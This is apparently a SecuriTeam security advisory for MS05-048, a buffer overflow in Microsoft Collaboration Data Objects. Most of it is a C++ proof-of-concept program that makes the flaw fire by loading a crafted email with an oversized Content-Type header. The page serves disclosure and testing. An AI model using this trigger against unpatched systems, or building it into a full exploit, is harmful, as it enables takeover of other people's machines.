SecuriTeam - Microsoft Collaboration Data Objects Buffer Overflow (Exploit, MS05-048)

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A remote code execution vulnerability exists in Collaboration Data Objects that could allow an attacker who successfully exploited this vulnerability to take complete control of the affected system. Read more about this vulnerability here.

The following is a proof of concept for the collaboration data objects vulnerability in Microsoft's Windows operating system (MS05-048).

Credit:
The information has been provided by Gary O'leary-Steele.

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Exploit:
//
// Microsoft CDO Proof of Concept Exploit by Gary O'leary-Steele <garyo at sec-1.com>
//
// Step 1.
//
// Create an E-mail named vuln.eml including a large "Content-Type:" header.
//
// Step 2.
//
// Compile with -GX option
//

#import <msado15.dll> no_namespace rename("EOF", "adoEOF")
#import <cdosys.dll> rename_namespace("CDO")

#include <stdio.h>

int main()
{

CoInitialize(0);
try
{
CDO::IMessagePtr spMsg(__uuidof(CDO::Message));
_StreamPtr spStream(spMsg->GetStream());
spStream->Position = 0;
spStream->Type = adTypeBinary;
spStream->LoadFromFile("vuln.eml");
spStream->Flush();

for(long i = 1; i <= spMsg->BodyPart->BodyParts->Count; i++)
{
CDO::IBodyPartPtr spBdy = spMsg->BodyPart->BodyParts->Item[i];
_variant_t v =
spBdy->Fields->Item["urn:schemas:mailheader:Content-Type"]->Value;
}

}
catch(_com_error &e)
{
printf("COM error[0x%X, %s]\n", e.Error(),
(LPCTSTR)e.Description());
}
catch(...)
{
printf("General exception\n");
}

CoUninitialize();

return 0;
}

CDO::IBodyPartPtr spBdy = spMsg->BodyPart->BodyParts->Item[i];
_variant_t v = spBdy ->Fields ->Item["urn:schemas:mailheader:Content-Type"] ->Value;

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